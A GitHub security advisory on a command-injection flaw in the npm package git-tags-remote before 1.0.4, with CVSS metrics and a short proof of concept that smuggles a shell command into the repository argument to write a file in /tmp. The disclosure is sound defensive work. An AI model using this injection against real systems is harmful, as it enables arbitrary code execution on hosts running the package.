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Command Injection in git-tags-remote

High severity GitHub Reviewed Published Jul 29, 2020 to the GitHub Advisory Database • Updated Jan 9, 2023

Package

npm git-tags-remote (npm)

Affected versions

< 1.0.4

Patched versions

1.0.4

Description

All versions of git-tags-remote are vulnerable to Command Injection. The package fails to sanitize the repository input and passes it directly to an exec call on the get function . This may allow attackers to execute arbitrary code in the system if the repo value passed to the function is user-controlled.

The following proof-of-concept creates a file in /tmp:

const gitTagsRemote = require('git-tags-remote');

gitTagsRemote.get('https://github.com/sh0ji/git-tags-remote.git; echo "Injection Success" > /tmp/command-injection.test')
.then(tags => console.log(tags));

References

Reviewed Jul 29, 2020
Published to the GitHub Advisory Database Jul 29, 2020
Last updated Jan 9, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-gm9x-q798-hmr4

Source code

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